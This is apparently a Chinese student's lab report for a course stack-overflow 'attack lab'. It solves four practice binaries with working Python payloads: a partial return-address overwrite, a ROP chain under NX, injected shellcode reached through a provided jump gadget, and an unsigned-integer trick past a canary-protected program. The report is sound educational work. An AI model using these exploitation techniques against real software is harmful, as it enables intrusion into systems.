栈溢出攻击实验

姓名：咎佳君 学号：2024200641

题目解决思路

Problem 1

- **分析**：
  - `main` 从文件读入最多 `0x100` 字节到栈上缓冲区后，调用 `func(buf)`。
  - `func` 内部使用 `strcpy(dst, src)`，其中 `dst` 是 **8 字节**的局部缓冲区（`rbp-0x8`），可通过超长输入覆盖 `saved rbp` 与 `saved rip`。
  - 由于 `strcpy` 遇到 `\\x00` 截断，无法直接写入 8 字节完整地址；但目标 `func1=0x401216` 与正常返回地址都在 `0x000000000040xxxx`，因此可 **部分覆盖 RIP 低 3 字节**实现跳转。
- **解决方案（payload）**：

```
# 生成 ans1.txt（二进制文件）
payload = b"A" * 16 + bytes([0x16, 0x12, 0x40])  # ret -> 0x401216 (func1)
with open("ans1.txt", "wb") as f:
    f.write(payload)
```

- **结果（运行输出）**：

```
miles@3999:~/attack-lab-zjjislikemiles$ ./problem1 ans1.txt
Do you like ICS?
Yes!I like ICS!
```

Problem 2

- **分析**：
  - 题目开启 NX（栈不可执行），因此不能注入 shellcode，需要使用 ret2text/ROP。
  - `func` 使用 `memcpy(dst, src, 0x38)`，其中 `dst` 仍是 `rbp-0x8` 的 **8 字节**局部缓冲区，因此能覆盖返回地址。
  - 程序内提供 `pop rdi; ret` 的 gadget（位于 `pop_rdi` 内），可用于传参给 `func2(int)`；当 `x==0x3f8` 时输出目标字符串并退出。
- **解决方案（payload）**：

```
import struct
p64 = lambda x: struct.pack("<Q", x)

POP_RDI_RET = 0x4012c7  # pop rdi; ret
FUNC2       = 0x401216
ARG         = 0x3f8

payload  = b"A" * 8          # buf
```

```
payload += b"B" * 8           # saved rbp
payload += p64(POP_RDI_RET)  # rdi = ARG
payload += p64(ARG)
payload += p64(FUNC2)         # call func2(ARG)
payload += b"C" * (0x38 - len(payload))  # memcpy 固定复制 0x38 字节

with open("ans2.txt", "wb") as f:
    f.write(payload)
```

- **结果（运行输出）**：

```
miles@3999:~/attack-lab-zjjislikemiles$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes!I like ICS!
```

Problem 3

- **分析**：
  - `func` 使用 `memcpy(dst, src, 0x40)`，其中 `dst` 为 `rbp-0x20` 的 **0x20 字节**缓冲区，因此可以覆盖返回地址，但可控字节长度也被限制为 `0x40`。
  - 程序提供了 `saved_rsp` 全局变量：在 `func` 中将当前 `rsp` 保存进去；并提供 `jmp_xs`：跳转到 `*(saved_rsp + 0x10)`。
  - 结合 `func` 的栈帧布局，可推出 `saved_rsp + 0x10 == rbp - 0x20`（即缓冲区起始处），因此可以稳定地跳转到我们写入的栈上代码（不依赖具体栈地址）。
- **解决方案（payload）**：

```
import struct
p64 = lambda x: struct.pack("<Q", x)

JMP_XS = 0x401334
FUNC1  = 0x401216

# shellcode: mov edi,0x72 ; mov rax,FUNC1 ; call rax
shell  = bytes.fromhex("bf72000000")          # mov edi,0x72 (114)
shell += bytes.fromhex("48b8") + p64(FUNC1)   # mov rax, imm64
shell += bytes.fromhex("ffd0")                # call rax

buf = shell + b"\x90" * (0x20 - len(shell))

payload  = buf
payload += b"B" * 8
payload += p64(JMP_XS)                         # ret -> jmp_xs -> buf
payload += b"C" * (0x40 - len(payload))        # memcpy 固定复制 0x40 字节

with open("ans3.txt", "wb") as f:
    f.write(payload)
```

- **结果（运行输出）**：

```
miles@3999:/mnt/d/attack-lab-zjjislikemiles$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
```

Problem 4

- **分析（canary 机制 & 题目逻辑）**：
  - **Canary 机制**：函数进入时从 `fs:0x28` 取出 canary 写入栈上（常见为 `rbp-0x8`），返回前再次读取 `fs:0x28` 与保存值比较，不一致则调用 `__stack_chk_fail` 终止。
  - 在 `problem4.asm` 中能看到典型序列（例如 `caesar_decrypt`/`func`/`main`）：
    - `mov %fs:0x28,%rax` → `mov %rax,-0x8(%rbp)`（保存）
    - 返回前：`mov -0x8(%rbp),%rax` → `sub %fs:0x28,%rax` → `jne __stack_chk_fail`（校验）
  - 题目本身不要求溢出：它会提示两段 Caesar 字符串（位移 12），解密得到：
    - `pakagxuwxuwquoe` → `doyouliklikeics`
    - `urkagsuhqyqkgmze...` → `ifyougivemeyuanshiiwillgiveyougoveyougoodscores`
  - money 输入以 **无符号**形式参与逻辑与输出：输入 `-1` 会被当作 `4294967295`，从而进入“通关”分支并输出通关提示。
- **解决方案（输入）**：
  - 第一次输入：`doyouliklikeics`
  - 第二次输入：`ifyougivemeyuanshiiwillgiveyougoveyougoodscores`
  - 第三次输入：`-1`
- **结果（运行输出）**：

```
miles@3999:~/attack-lab-zjjislikemiles$ ./problem4
hi please tell me what is your name?
doyouliklikeics
hi! do you like ics?
ifyougivemeyuanshiiwillgiveyougoveyougoodscores
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```

思考与总结

- t1 体现了基础栈溢出与返回地址覆盖；t2 体现 NX 下的 ROP 传参；t3 利用题目提供的 `saved_rsp/jmp_xs` 做到稳定跳转；t4 则强调“读汇编理解逻辑”，不一定要强行 pwn。

参考资料

- CTF Wiki - Stack Overflow (x86)
- GCC Stack Protector / `__stack_chk_fail` 机制相关资料